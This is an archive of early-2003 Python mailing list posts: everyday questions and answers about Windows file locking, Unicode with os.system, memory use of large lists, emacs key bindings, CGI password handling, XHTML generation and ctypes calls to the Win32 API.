In-Reply-To: <200301150748.18069.rjones@ekit-inc.com>
References: <fe35b211.0301140932.62d3d334@posting.google.com>
	 <aydHLjAkCGJ+Ewoi@jessikat.demon.co.uk>
	 <200301150748.18069.rjones@ekit-inc.com>
Message-ID: <1042578728.1823.569.camel@software1.logiplex.internal>

On Tue, 2003-01-14 at 12:48, Richard Jones wrote:

> If anyone knows how to lock a file on win98, I'd really appreciate a hint.

Win98 only supports locking entire computers, not files <wink>

Assuming 98 doesn't support locking files (which I believe to be true,
but am willing to be corrected on), what I would probably do in this
case is create a "lock server" using a network socket and have
applications acquire a lock from it.  I expect you could even make the
API mirror the portalock API (which I've never used and so can't comment
on) and use it as a drop-in replacement.  

Even if 98 supported file locking, I expect this approach would be
superior.

Regards,

-- 
Cliff Wells, Software Engineer
Logiplex Corporation (www.logiplex.net)
(503) 978-6726 x308  (800) 735-0555 x308





From tim.one at comcast.net  Sat Jan 11 11:33:51 2003
From: tim.one at comcast.net (Tim Peters)
Date: Sat, 11 Jan 2003 11:33:51 -0500
Subject: Stackless Python, Tail Recursion and Functional  Programming
In-Reply-To: <5.1.0.14.0.20030111054355.00b3d898@mail.thewebsons.com>
Message-ID: <LNBBLJKPBEHFEDALKOLCEEAFDIAB.tim.one@comcast.net>

[beno]
> So..my question du jour...
>
> ***
> Does stackless python optimize tail recursion?
> ***

It does not.




From andersjm at inbound.dk  Mon Jan  6 16:32:14 2003
From: andersjm at inbound.dk (Anders J. Munch)
Date: Mon, 6 Jan 2003 22:32:14 +0100
Subject: new years resolutions
References: <mailman.1041550805.3550.python-list@python.org> <1041705923.6001.32.camel@x1-6-00-04-5a-64-c4-03> <200301041905.h04J5njL016319@ratthing-b246.strakt.com> <mailman.1041710048.20334.python-list@python.org> <avahot$1ji$1@nyheter.chalmers.se> <3ehj1vo4un9m8vvtc51iac1j46btlih4cv@4ax.com>
Message-ID: <cvnS9.26637$Hl6.3064570@news010.worldonline.dk>

"EpSyLOn" <sasDOTepsylon at wanadoo.fr> wrote:
> On 6 Jan 2003 00:14:21 GMT, jacob at cd.chalmers.se (Jacob Hallen) wrote:
>
> >In article <mailman.1041710048.20334.python-list at python.org>,
> >Cliff Wells  <clifford.wells at attbi.com> wrote:
> >>"The world is divided into two kinds of people: Those who divide the
> >>world into two kinds of people, and those who don't."
> >>    Robert Benchley
> >
> >The world is divided into three kinds of people. Those who can count and
> >those who can't.
>
> The world is divided into 10 kinds of people : those who understand
> binary and those who don't. ;-)

The world is divided into 2 kinds of people: Those who manage
to finish their sentences even when the PSU





From tundra at tundraware.com  Tue Jan 21 18:20:07 2003
From: tundra at tundraware.com (Tim Daneliuk)
Date: 21 Jan 2003 23:20:07 GMT
Subject: os.system and unicode arguments fail on Win32
Message-ID: <d6kk0b.vfh1.ln@boundary.tundraware.com>

I have a program which, among other things, allows the user to popup a
tkSimpleDialog.askstring() dialog box and enter an arbitrary command
they would like to run. Tkinter apparently maps this dialog onto a
native Win32 dialog which prompts the user and returns their entry. I
then issue an os.system() call on that string.

All this works fine most of the time.  However, if the user makes reference
to a file- or directory name which contains an 8-bit character (which is
legal under Win32), the Windows dialog returns a *unicode* string - it apparently
assumes that 8-bit data is automatically to be made into unicode, rather than
returning a byte string.  This makes os.system fail loudly complaining with
the dreaded: UnicodeError: ASCII encoding error: ordinal not in range(128)

IOW, (and indeed any number of other calls like os.chdir) seem to only
work with real strings - they'll accept byte strings - but not with unicode
strings.

Is there a way to "depromote" a unicode string into a byte string that
the os calls can live with, or am I forced to figure out a low-level
system call (via win32all, I guess) which *should* be able to handle
this case.

Arrrrrrgggghhhhhh...
-- 
------------------------------------------------------------------------------
Tim Daneliuk
tundra at tundraware.com




From alpot at mylinuxsite.com  Thu Jan 23 01:55:55 2003
From: alpot at mylinuxsite.com (Alfredo P. Ricafort)
Date: 23 Jan 2003 14:55:55 +0800
Subject: Alternative to os.listdir()/os.stat()
Message-ID: <1043304954.1182.28.camel@localhost.localdomain>

Hi,

I'm trying to get the files under a directory and its details. What  I
did is to call os.listdir() and then os.stat(). So my code looks
something like this:


    fileList=os.listdir(path)
    for i in range(len(fileList)):
        f=os.stat(path+'/'+j)

However, I noticed that this approach takes a long time when the
directory contains lots of files. So what I am looking for now is a
function that can give me the details is one go, much like 'ls -ltra' in
UNIX. 

Does one exists?

AL





From peter at engcorp.com  Thu Jan  2 11:28:47 2003
From: peter at engcorp.com (Peter Hansen)
Date: Thu, 02 Jan 2003 11:28:47 -0500
Subject: comments inside blocks
References: <pan.2003.01.02.12.09.57.823588@contillion.com> <025d32cf-da98-4afa-ab9f-2f3f978a9c38@news.szn.dk> <av1dsi$pqv$1@reader1.imaginet.fr> <3E14442D.7080501@draigBrady.com> <mailman.1041517263.5169.python-list@python.org> <3E145C80.7080800@draigBrady.com>
Message-ID: <3E1468BF.94A4DAD6@engcorp.com>

P at draigBrady.com wrote:
> 
> Hmm but the editor should be able to distinguish between
> these 2 cases IMHO:
> 
> for i in range(10):
>      print i
> #comment nothing to do with for

for i in range(10):
    print i
# comment having something to do with the for

Can it distinguish between these two cases then?

In my cases, this is a much more common situation.  I would
*never* attach a following comment like you have without
whitespace to separate it from the previous block.  I think
the folding is "correct".

-Peter



From dsavitsk at ecpsoftware.com  Thu Jan 23 01:15:28 2003
From: dsavitsk at ecpsoftware.com (dsavitsk)
Date: Thu, 23 Jan 2003 06:15:28 GMT
Subject: Can't See My COM Server in COM Browser
In-Reply-To: <8f6680e6.0301221459.1643fa85@posting.google.com>
References: <8f6680e6.0301221459.1643fa85@posting.google.com>
Message-ID: <4MLX9.898$eZ2.503213@newssrv26.news.prodigy.com>

Jeff Miller wrote:

> But I cannot see the "Python.TestSever" in the list that COM browser
> displays. Don't ask why I want to do this unless you want a long
> explanation.

I'm game.  Why do you want to do this?




From Mongryong at sympatico.ca  Mon Jan 20 16:32:42 2003
From: Mongryong at sympatico.ca (Mongryong)
Date: 20 Jan 2003 16:32:42 -0500
Subject: 4Suite Reliance on ENVIRONMENT & global variables
Message-ID: <1043098362.11838.197.camel@refugeeMedia>

Hi,

I'm having trouble getting the latest 4Suite XML/XSLT tools to work the
way I want in mod_python and I know I'm not the first one to experience
"out-of-the-box" success.  

I've determined that it's an encoding issue.   Now, with a stand-alone
script or CGI script under Apache, 4XSLT works fine.  But under
mod_python (which doesn't have access to ENVIRONMENT variables), 4XSLT
library decodes the XML source file in a total different encoding.  XSL
templates (ie. <xsl:template name="blah">) are never executed because
the XML tag is never recognized by the XSL processor.  Hence, you get an
empty output.

I've check the default system encoding codec and it returns 'ascii' (ie.
sys.getdefaultencoding).  Now, it could be that the python library
relies on some ENVIRONMENT variable for its configuration.

Anybody have any ideas what 'parameters' might not be initialized
properly under a non-CGI or non-shell environment such as mod_python? 
Or, is there a parameter that one can set to change the XML input
decoding?  









From tjreedy at udel.edu  Tue Jan 28 15:51:25 2003
From: tjreedy at udel.edu (Terry Reedy)
Date: Tue, 28 Jan 2003 15:51:25 -0500
Subject: patching of python: tabs make me seek of python
References: <f210c9f3.0301281143.22c01152@posting.google.com>
Message-ID: <Q7GcnUD8f4xac6ujXTWcqg@comcast.com>

"Andrei Smirnov" <asmirnov at asmirnov.com> wrote in message
news:f210c9f3.0301281143.22c01152 at posting.google.com...
> hi
>
> i'm in python project. python is very good despite some problems
with threads
> but still very usefull (especially with swig).
> i'm using python with pleasure until i have to deal with tabs.

Use spaces 8-).  (But please, not another flame war, anyone.)

> it is about 4 people here who's doing development. nobody cares
about design
> yet, we don't know what we are doing :) it's okay, we are in good
shape for now.
> however i found that it is extremly difficult to work with somebody
else code
> and repackage my own code into classes. tabs always find the way out
of control.

Which is why many Pythoneers recommend to only use spaces for
indents -- and a Python aware editor.

> moreover, my favorite emacs keys to locate block boundaries doesn't
work, too bad.

Many Pythoneers use emacs.  I believe there is somewhere a special
setup file to make it properly Python-aware.  Are you using that?

> all that make me think that somebody already has THE PATCH to treat
curly braces
> as old c++ programmer would expect. it could be just a cmd line
switch to python.

You can already use '#{' and '#}' without a patch 8-).

> if nobody has it someday i might try to do that. any legal
objections from python
> maintainers regarding of distribution of that?

You are free to fork Python and make your own version.  It has been
done once (off of CPython, not counting translation to other
languages) that I know of.  But should you do so, please don't post
'curly-Python' code here.

> please, don't try to convince me that tabs are good:

Would not dream of it.  Some think that allowing both tabs and spaces
as indents was a mistake.

>i'm too lazy to even think about it. i just want curly braces.

Do you or don't you block indent your C++ code? If so, the braces are
redundant.
To us here, laziness is omitting what is redundant and not needed.
Besides which, we avoid flame wars over where to put the braces.

Warning: if you keep using Python another month or two, you might
instead start thinking about patching C/C++ to recognize block indents
in addition to braces.  It has happened to other people.

Terry J. Reedy





From phr-n2002b at NOSPAMnightsong.com  Sun Jan 12 14:23:23 2003
From: phr-n2002b at NOSPAMnightsong.com (Paul Rubin)
Date: 12 Jan 2003 11:23:23 -0800
Subject: [ann] Minimal Python project
References: <mailman.1042209749.31180.python-list@python.org> <FOIT9.121090$Hs2.11398609@kent.svc.tds.net> <mailman.1042257199.7572.python-list@python.org> <%0TT9.121156$Hs2.11453314@kent.svc.tds.net> <v208b839c0990d@news.supernews.com> <xJZT9.121193$Hs2.11495249@kent.svc.tds.net> <v210trgcq5gdf1@news.supernews.com> <Fb0U9.122581$Hs2.11514845@kent.svc.tds.net> <3E20A13D.539E934C@engcorp.com> <x7y95qswo2.fsf@guru.mired.org> <3E2180C8.7A6CC05D@engcorp.com>
Message-ID: <7xd6n2dvf8.fsf@ruckus.brouhaha.com>

Peter Hansen <peter at engcorp.com> writes:
> > That's not strictly true. I've dealt with compilers that could examine
> > the results of profiled runs of the code being compiled, and use that
> > information in optimizing the resulting code. You could even rerun the
> > profiled version on new data and recompile the code.
> 
> Thanks, I had never heard of such a thing.

That's called "profile directed optimization" and if you type that
phrase into google you should be able to find lots of info.



From mwm at mired.org  Sun Jan 26 15:49:54 2003
From: mwm at mired.org (Mike Meyer)
Date: Sun, 26 Jan 2003 20:49:54 GMT
Subject: Python newbie looking into communications...
References: <ELHY9.123260$GF.30808722@twister.columbus.rr.com> <3E3354E0.8225F233@engcorp.com> <xIXY9.125569$GF.31647688@twister.columbus.rr.com>
Message-ID: <x7y957tz3p.fsf@guru.mired.org>

Sam Marrocco <samSPAMMENOT at twmi.rr.com> writes:

> Peter Hansen wrote:
> In my perfect world, all I really wanted was a way to say
> SendToMachine(machinename, data)
> and an event to catch data
> DataReceived(MachineName, data)
> 
> But the most important thing was that any machine on the network could
> be restarted at any time, *without* having to have a server app always
> running.

Did you check to see if any of the various remote object methods were
restartable? Yes, that's a lot of overhead, but it saves rewriting the
wheel.

        <mike

-- 
Mike Meyer <mwm at mired.org>			http://www.mired.org/home/mwm/
Independent WWW/Perforce/FreeBSD/Unix consultant, email for more information.



From phr-n2002b at NOSPAMnightsong.com  Wed Jan 15 11:05:04 2003
From: phr-n2002b at NOSPAMnightsong.com (Paul Rubin)
Date: 15 Jan 2003 08:05:04 -0800
Subject: passwords to CGI
References: <cb035744.0301140219.590608ae@posting.google.com> <2c60a528.0301150752.7078ca77@posting.google.com>
Message-ID: <7xiswqwg9b.fsf@ruckus.brouhaha.com>

and-google at doxdesk.com (Andrew Clover) writes:

> > Is there a way to encrypt a password before it is sent?
> 
>   A. Use SSL.
>   B. Use HTTP Digest Authentication.
>   C. Use client-side scripting to hash the password.
> 
> (A) is good, but implies the hassle of getting certificates, and
> an HTTPS server if you are not already using one.
> 
> (B) is great, but is not well-supported by user agents. (read:
> no-go on Internet Explorer)
> 
> (C) is effective but requires the user to have JavaScript enabled.

If you read the OP's article, A and B don't help with the stated
problem.  The issue is the password showing up in the browser
navigation bar, not it being sniffable in transit over the internet.

The fix is to use HTTP POST instead of GET to send the password.  A
kludgy workaround might have been to respond to the GET with an HTTP
redirect after validating the password and setting a session cookie.



From db3l at fitlinxx.com  Mon Jan  6 16:13:44 2003
From: db3l at fitlinxx.com (David Bolen)
Date: 06 Jan 2003 16:13:44 -0500
Subject: Can emacs support auto complete of python?
References: <mailman.1041771677.3260.python-list@python.org> <slrnb1gfvp.1ga.davecook@localhost.localdomain> <200301051439.h05Ed9jL024866@ratthing-b246.strakt.com> <mailman.1041812892.435.python-list@python.org> <3E18E43E.AEBB0CBA@alcyone.com>
Message-ID: <ur8bqc77b.fsf@fitlinxx.com>

Erik Max Francis <max at alcyone.com> writes:

> Andrew McGregor wrote:
> 
> > M-/, which looks like ALT-/ on most keyboards, is the default binding
> > for
> > dabbrev-expand :-)
> 
> On _some_ keyboards.  On a Sun keyboard, meta is a distinct key from
> alt, for instance.  (Of course, on Intel machines, usually meta is
> mapped to alt -- which is what you meant -- but sometimes it's mapped to
> the otherwise useless Windows key.)

And then there are those of us who have used enough keyboards over
time, that we still stick with the ESC as the standalone Meta prefix.
Works whether I'm on a Sun, a PC, or keyboards without an Alt key.
:-)

--
-- David
-- 
/-----------------------------------------------------------------------\
 \               David Bolen            \   E-mail: db3l at fitlinxx.com  /
  |             FitLinxx, Inc.            \  Phone: (203) 708-5192    |
 /  860 Canal Street, Stamford, CT  06902   \  Fax: (203) 316-5150     \
\-----------------------------------------------------------------------/



From blaktyger at sympatico.ca  Fri Jan 24 13:23:01 2003
From: blaktyger at sympatico.ca (Bastien Pierre)
Date: Fri, 24 Jan 2003 13:23:01 -0500
Subject: db files
References: <c9e6ac92.0301232249.67de6893@posting.google.com>
Message-ID: <3wfY9.12554$5K5.975468@news20.bellglobal.com>

I'm using windows XP anf the files are created with Borland C++.
Can I create db files with Python?
"Blaktyger" <blaktyger at hotmail.com> wrote in message
news:c9e6ac92.0301232249.67de6893 at posting.google.com...
> I would like to know if it's possible to access to a file database
> (filename.db or filename.dbf)via Python or wxPython. If so, how?
>
> Thank you





From robin at jessikat.fsnet.co.uk  Fri Jan  3 11:04:39 2003
From: robin at jessikat.fsnet.co.uk (Robin Becker)
Date: Fri, 3 Jan 2003 16:04:39 +0000
Subject: Leakage vs Cyclops
Message-ID: <KfdTAjAXSbF+EwYH@jessikat.demon.co.uk>

Hi I've a question relating to leakage. A user says his 40000 page
document is using large amounts of memory even when he splits it into
bite size chunks.

I dummy tested with the code below and the output of the cyclops tests
seem to indicate that no obvious cycles are being created. Even so my
resource usage seems to increase monotonically.

My first thoought was that one or more of our extensions could be the
cause, but they are only accelerators and aren't required. The resources
increase with or without them.

With upper limit of 900 pages the peak working set is 15M with 2700 it
rises to 45M. This seems to be a real leak, but how can I track it down? 

I used Cyclops to great effect in the past, but has it lost its touch
with GC or 2.2? I'm using Python 2.2.2 with win32.  



###############################################
from reportlab.lib.styles import ParagraphStyle
from reportlab.platypus import *
def main():
        i = 0
        story = []
        for x in xrange(100,900):
                story.append(Paragraph(str(x),ParagraphStyle('normal')))
                story.append(PageBreak())
                if i % 100==0:
                        fn = "test_%03d.pdf"%i
                        SimpleDocTemplate(fn).build(story)
                        print 'Build',fn
                        story = []
                i += 1
        if story:
                fn = "test_%03d.pdf"%i
                SimpleDocTemplate(fn).build(story)
                print 'Build',fn
                story = []

if __name__=='__main__':
        import Cyclops
        z = Cyclops.CycleFinder()
        z.run(main)
        z.find_cycles(purge_dead_roots=0)
        z.show_stats()
        z.show_cycles()
###############################################

C:\Tmp\ttt>t1.py
Build test_000.pdf
Build test_100.pdf
Build test_200.pdf
Build test_300.pdf
Build test_400.pdf
Build test_500.pdf
Build test_600.pdf
Build test_700.pdf
Build test_800.pdf
**********************************************************************
# objects in root set: 20447
# distinct structured objects reachable: 38529
# distinct structured objects in cycles: 0
# cycles found: 0
# cycles filtered out: 0
# strongly-connected components: 0
# arcs examined: 183782
**********************************************************************
# all cycles:

-- 
Robin Becker



From smulloni at smullyan.org  Fri Jan 17 22:30:00 2003
From: smulloni at smullyan.org (Jacob Smullyan)
Date: 17 Jan 2003 22:30:00 -0500
Subject: so how do *you* generate XHTML?
References: <slrnb26aej.1hr.nthomas@rain.cise.ufl.edu>
Message-ID: <slrnb2hiho.ohr.smulloni@bracknell.smullyan.org>

In article <slrnb26aej.1hr.nthomas at rain.cise.ufl.edu>, N. Thomas wrote:
> I've got some data that I'd like Python to spit out into XHTML, and I
> don't want to print out raw XHTML strings, ala (print '<title>%s</title>
> % body['title']).
> 
> After looking around a bit, the only module I can find that can do this
> is HTMLgen, which was exactly what I was looking for. The only problem
> is that HTMLgen is about 4 or 5 years old, and AFAIK, hasn't been
> developed further since then.

> My question: Is there a newer version of HTMLgen or is there a newer
> tool that does the same thing as HTMLgen?


If  all you want to do is produce xhtml elements through a simple api,
reminiscent of Apache's ECS or Cgi.pm, you can use ecs, which is in
SkunkWeb CVS:

http://cvs.sourceforge.net/cgi-bin/viewcvs.cgi/skunkweb/skunkweb/pylibs/ecs/

You use it like so:

tr=ecs.Tr(ecs.Td(ecs.A('click here').setAttribute('href', 'http://click.com')))
print ecs.Html(ecs.Body(ecs.Table(tr)))

The ecs elements are modifiable, so you can pass them around and
subject them to operations if you like.  Sometimes it is just neater
to use these little objects rather than html strings; sometimes there
is just no point to doing so, however!

js



From gleki at gol.ge  Tue Jan  7 11:48:11 2003
From: gleki at gol.ge (Giorgi Lekishvili)
Date: Tue, 07 Jan 2003 17:48:11 +0100
Subject: Threaded server in python!?
References: <av4u4r$v3c$06$1@news.t-online.com> <mailman.1041647647.32116.python-list@python.org>
	 <x7y9607rmn.fsf@guru.mired.org> <m3d6n93p28.fsf@drizzle.com>
Message-ID: <3E1B04CB.6C63ADE1@gol.ge>


"Elf M. Sternberg" wrote:

> Mike Meyer <mwm at mired.org> writes:
>
> >> Using a library like Twisted <http://twistedmatrix.com/>, it's
> >> straightforward to handle multiple sockets, without needing threads.
>
> >> As a bonus, Twisted has implementations of many common protocols, ready for
> >> you to use and adapt to your problem
>
> > The above also applies to medusa, except that it's a multi-protocol
> > internet server instead of a library. I actually wrote an http chat
> > server on top of medusa for a client, and was pleased with how well it
> > worked.
>
>         And if you want your hand held, Webware
> <http://webware.sourceforge.org> is a full-blown application server
> written in Python that has session and transaction management, header
> and CGI argument processing, and a very easy to understand application-
> and-page deployment pattern that Fits Your Brain(tm).  You could gin up
> a simple chat server over HTTP in less than an hour.  And it's
> multi-threaded, using asyncore.

asynchroneous? 'Cause I am afraid I havn't understand how to make synchronization
work with ThreadingTCPServer:(((

Giorgi



>
>
>         If you feel the need to re-invent this particular wheel, you
> clearly don't understand the road.
>
>                 Elf
>
>




From whisper at oz.net  Sun Jan 19 16:02:26 2003
From: whisper at oz.net (David LeBlanc)
Date: Sun, 19 Jan 2003 13:02:26 -0800
Subject: Seeking Ultralight p2p app
Message-ID: <GCEDKONBLEFPPADDJCOEEEKDHHAA.whisper@oz.net>

I've lost track of an app and can't seem to find it anywhere (VoP, yahoo,
SF). TBMR, it had a simple tkinter GUI chat interface and one communicated
to another user (users - like irc?) by entering their IP address(es). It
might have been a book sample or a technology demonstrator and not a
supported app.

Any help appreciated...

TIA

David LeBlanc
Seattle, WA USA





From skip at pobox.com  Sat Jan 11 10:08:52 2003
From: skip at pobox.com (Skip Montanaro)
Date: Sat, 11 Jan 2003 09:08:52 -0600
Subject: nyu cs department
In-Reply-To: <3e1f77d2$1_7@nopics.sjc>
References: <3e1f77d2$1_7@nopics.sjc>
Message-ID: <15904.13188.450368.712369@montanaro.dyndns.org>

    >> anyone know how the nyu cs department stacks up against the
    >> giants(MIT) is it a lot worse or what?? also same question for
    >> cornell??

Both NYU and Cornell have (or used to have) very strong computer graphics
groups.  Skim through SIGGRAPH proceedings from the 80's and 90's.
Radiosity was developed at Cornell and I believe NYU did a lot of work in
the realistic display of natural objects (trees, fur, etc).

(What is the Python relevance for any of this "best cs department" stuff?)

Skip




From reywang at optonline.net  Tue Jan  7 11:39:04 2003
From: reywang at optonline.net (Rey Wang)
Date: Tue, 07 Jan 2003 16:39:04 GMT
Subject: Zope: install DB2 SQL adapter
Message-ID: <IoDS9.1420$G01.240050@news4.srv.hcvlny.cv.net>

I try to install DB2adapter.
/opt/Zope is home of Zope dir.
bash-2.05$ pwd
/opt/Zope/lib/python/Products/DB2
bash-2.05$ ls
DB2.py  DB2.pyc  _db2.so  idlelib  README

I restart up Zope. But I can not add DB2 connection from
http://linux:8080/manage.

Please help

Thanks





From geoff at gerrietts.net  Thu Jan 30 20:50:39 2003
From: geoff at gerrietts.net (Geoff Gerrietts)
Date: Thu, 30 Jan 2003 17:50:39 -0800
Subject: mod_python examples
In-Reply-To: <slrnb3jj9c.6rf.gargravarr@somewhere.obl.org>
References: <slrnb3jj9c.6rf.gargravarr@somewhere.obl.org>
Message-ID: <20030131015039.GG18449@isis.gerrietts.net>

Quoting Kristoffer (gargravarr at singapore.com):
> Is there a site out there which Google is unable to find
> which have some examples of how to use mod_pyhon for larger
> websites ? I need a couple of larger examples than what the
> official mod_python documentation gives (which isn't really much for
> a newbie to mod_python).
> 
> I think to boost mod_python's popularity, sites dealing with how
> use mod_python would be perfect.
> 
> Thanks in advance.

I don't have a site, per se, but I do use mod_python to run some of my
CGI. How big an example are you looking for?

-- 
Geoff Gerrietts <geoff at gerrietts dot net>      http://www.gerrietts.net/
   "If I were two-faced, would I be wearing this one?" --Abraham Lincoln




From pozix604 at hotmail.com  Tue Jan 28 05:41:07 2003
From: pozix604 at hotmail.com (Gerald Gutierrez)
Date: Tue, 28 Jan 2003 10:41:07 GMT
Subject: IP -> NetBIOS Name and MAC Address Resolution
Message-ID: <77tZ9.26309$LA4.2524369@news1.west.cox.net>

Hi there,

I am stumped. Based on an IP address, how do I:

1) resolve it to a NetBIOS machine name (from a WINS server), and
2) resolve it to a MAC address ?

I am using Python on an XP machine. If someone can point me in the right
direction, I would appreciate it very very much.

Thanks,

Gerald.





From tjreedy at udel.edu  Fri Jan 24 19:10:25 2003
From: tjreedy at udel.edu (Terry Reedy)
Date: Fri, 24 Jan 2003 19:10:25 -0500
Subject: memory leak with large list??
References: <bdb2e78a.0301241435.f0f2cc3@posting.google.com>
Message-ID: <NcicnV009axjSqyjXTWc2Q@comcast.com>

> Then I generate a large list (12 million floats), either using map,
a
> list comprehension, or preallocating a list, then filling it using a
> for loop.

12 million different floats use 12 million * sizeof float object
bytes. Float object is at least 8 bytes for float + object overhead
(about 4 bytes?)  list has array of 12 millions pointers (4 (or
possibly 8) bytes).  Thus at least  be 16 * 12 million, roughly 200
million bytes, regardless of method.

...

> When I check the memory footprint again, it is larger than I would
> expect, but I'm not sure what the per element overhead of a list is.
>
> %MEM  RSS  RSS    SZ   VSZ
> 46.2 237648 237648 59690 238760

If 237648 is # of Kbytes, it is roughly what should expect.

> So then delete it.
>
> >>> del(big_list)
>
> But the memory footprint of the process remains very large:
>
> %MEM  RSS  RSS    SZ   VSZ
> 37.1 190772 190772 47971 191884

Deleting frees mem for reuse by Python but does not necessarily return
memory to system for reuse by other processes.  (Exact behavior is
*very* system specific, according to Tim Peters' war stories.)

> Is python leaking memory, or is there something else going on here.

Pretty sure no, yes.

> I should note, if I just preallocate the list with 0.0:
>
> >>> big_list = [0.0] * 12000000

(I presume you mean, by preallocate, that you subsequently overwrote
with floats as before.)  This is 12 million duplicate pointers to
*one* object.  48 megabyte memory for array is allocated just once.
Others methods start with small list (perhaps with room for 8
pointers) and reallocate and copy as list grows.  This can chop up
heap.  Preallocation is much better for large arrays.

> and then delete it, I don't see the leak, but then memory footprint
is
> smaller than you would expect
> from 12 million floats:
>
> %MEM  RSS  RSS    SZ   VSZ
>  9.4 48700 48700 12453 49812
> So I think python is using a shortcut in this case.
> I am using Python 2.2.1 on Debian 3.0, kernel 2.4.17-686.

Maybe someone else is familiar with this particular system.

Terry J. Reedy





From padraig.brady at corvil.com  Thu Jan  9 05:08:52 2003
From: padraig.brady at corvil.com (Padraig Brady)
Date: Thu, 09 Jan 2003 10:08:52 +0000
Subject: os.remove & os.rmdir
In-Reply-To: <iu8q1vgc79bt73i663td93uc4d2vrc0tjr@4ax.com>
References: <RmyS9.1309$V6.1827@news.indigo.ie> <3E1ADF0A.A5FBBBFD@engcorp.com> <3E1AE5E0.7030208@corvil.com> <iu8q1vgc79bt73i663td93uc4d2vrc0tjr@4ax.com>
Message-ID: <3E1D4A34.3090809@corvil.com>

Tim Roberts wrote:
> Padraig Brady <padraig.brady at corvil.com> wrote:
> 
>>Peter Hansen wrote:
>>
>>>Padraig Brady wrote:
>>>
>>>>So, should I do a simple patch?
>>>
>>>Please don't!
>>>
>>>
>>>>Advantages I can see are:
>>>>
>>>>   1. It follows the standard
>>>
>>>Which standard?  This is Python, not C.
>>
>>POSIX and ISO C. Having different functionality than those
>>is confusing I think.
>
> ISO C does not say this.  The spec only says that "remove" deletes a file.
> In response to a request for interpretation, the behavior when a directory
> name is given was officially deemed "unspecified".

Hmm, so POSIX is doing the specifying here?
http://www.opengroup.org/onlinepubs/007904975/functions/remove.html

Trust M$ to be different.
http://msdn.microsoft.com/library/default.asp?url=/library/en-us/vclib/html/_crt_remove.2c_._wremove.asp

So I guess that means we should explicitly do this in the os module:

   If os.path.isdir(path):
       os.rmdir(path)
   else:
       os.unlink(path)

P?draig.




From edcjones at erols.com  Tue Jan 28 14:39:01 2003
From: edcjones at erols.com (Edward C. Jones)
Date: Tue, 28 Jan 2003 14:39:01 -0500
Subject: Which exception to use?
Message-ID: <b16lui$j3s$1@bob.news.rcn.net>

Which exception is it best to use in the following pieces of code?

if len(sys.argv) != 2:
     raise SomeException, 'program requires exactly one argument'

if len(sometuple) != 3:
     raise SomeException, 'sometuple must have length 3'

I use TypeError or ValueError but they don't feel right. I wish there 
was a SizeError or LengthError.




From pobrien at orbtech.com  Thu Jan 30 20:50:39 2003
From: pobrien at orbtech.com (Patrick K. O'Brien)
Date: Thu, 30 Jan 2003 19:50:39 -0600
Subject: Dumb Q#2 Pycrust
References: <b1br6a$85f$1@rupert.unet.maine.edu>
Message-ID: <v3jlilkr6q29ee@corp.supernews.com>

Norm wrote:

> I've downloaded and love the PyCrust interface, but for the life of me
> can't figure out how to save the code into a file from it.
> 
> So I'm embarrassed to ask, but how do you save code into a file from
> PyCrust?

At this poing you can Copy and Paste. See shell.help() for key bindings:

Welcome To PyCrust 0.8.2 - The Flakiest Python Shell
Sponsored by Orbtech - Your source for Python programming expertise.
Python 2.2.2 (#4, Dec 13 2002, 21:58:45) 
[GCC 3.2 (Mandrake Linux 9.0 3.2-1mdk)] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> shell.help()

* Key bindings:
Home              Go to the beginning of the command or line.
Shift+Home        Select to the beginning of the command or line.
Shift+End         Select to the end of the line.
End               Go to the end of the line.
Ctrl+C            Copy selected text, removing prompts.
Ctrl+Shift+C      Copy selected text, retaining prompts.
Ctrl+X            Cut selected text.
Ctrl+V            Paste from clipboard.
Ctrl+Shift+V      Paste and run multiple commands from clipboard.
Ctrl+Up Arrow     Retrieve Previous History item.
Alt+P             Retrieve Previous History item.
Ctrl+Down Arrow   Retrieve Next History item.
Alt+N             Retrieve Next History item.
Shift+Up Arrow    Insert Previous History item.
Shift+Down Arrow  Insert Next History item.
F8                Command-completion of History item.
                  (Type a few characters of a previous command and then 
press F8.)
Ctrl+Enter        Insert new line into multiline command.
>>> 

-- 
Patrick K. O'Brien
Orbtech      http://www.orbtech.com/web/pobrien
-----------------------------------------------
"Your source for Python programming expertise."
-----------------------------------------------



From bokr at oz.net  Fri Jan 10 10:51:20 2003
From: bokr at oz.net (Bengt Richter)
Date: 10 Jan 2003 15:51:20 GMT
Subject: File Read/Write test program
References: <mailman.1041984409.6241.python-list@python.org> <ho1n1v49n9s45lemq0uks23kp0v33tapc9@4ax.com> <4GvT9.5515$LY2.325145@newsc.telia.net>
Message-ID: <avmq5o$462$0@216.39.172.122>

On Fri, 10 Jan 2003 08:40:32 GMT, "Fredrik Lundh" <fredrik at pythonware.com> wrote:

>Manuel M. Garcia wrote:
>
>> meg = "*" * (1048576 * 20)
>>
>> gives you a string of length 1048576 * 20 in one step
>
>interestingly enough,
>
>    meg = "*" * 1048576 * 20
>
>gives you the same result in much less time.
>
Assuming a string multiply translates to allocating
sufficient output space and repetively calling a
machine language memory move routine (and that single-byte
source strings are not special cased, which would change results),
then, one way presumably does 20M 1-byte-block moves vs
1M 1-byte block moves + 20 * 1M-byte-block moves
so I assume the percentage setup overhead for
1-byte moves is the killer.

Think special-casing single-byte string muliplies is worth while?
It would be as fast as memory bandwidth would allow.

Regards,
Bengt Richter



From theller at python.net  Fri Jan 31 03:48:12 2003
From: theller at python.net (Thomas Heller)
Date: 31 Jan 2003 09:48:12 +0100
Subject: Win32 API's missing/incomplete?
References: <3e3a200f$1_6@nopics.sjc>
Message-ID: <el6tbt83.fsf@python.net>

"Ixokai" <usenet at ixokai.net> writes:

> Hi folks.
> 
> I was trying to solve a mysterious problem in my program when I decided to
> try a more direct route to os.system("subst ..") in my application.. so I
> did some digging, and found win32file.DefineDosDrive.
> 
> Awesome. However, it has two problems... First, there is no QueryDosDrive
> that i can find, which is sorta important for my purposes..

Again, ctypes to the rescue:

  Python 2.2.2 (#37, Oct 14 2002, 17:02:34) [MSC 32 bit (Intel)] on win32
  Type "help", "copyright", "credits" or "license" for more information.
  >>> from ctypes import windll, c_string
  >>> kernel32 = windll.kernel32
  >>> bytes = kernel32.QueryDosDeviceA(None, buf, len(buf))
  >>> print bytes
  4782
  >>> buf.raw[:bytes].split("\000")
  ['NDIS', 'DISPLAY1', 'DISPLAY2', '{F9CF61E8-01A6-4C5D-835B-E7FCDEEB0D60}',
(and so on)

>  and Secondly, I
> can't see how to /undelete/ a drive totally, without knowing the path its
> set to.
> 
> See, if you pass a "null" value to the function its susposed to delete
> whatever the latest path is that was stuck onto that drive.. but None, "",
> [], et al, are not valid params to DefineDosDrive.
> 
> Anyone have any sugguested solutions? Thanks in advance.


Thomas




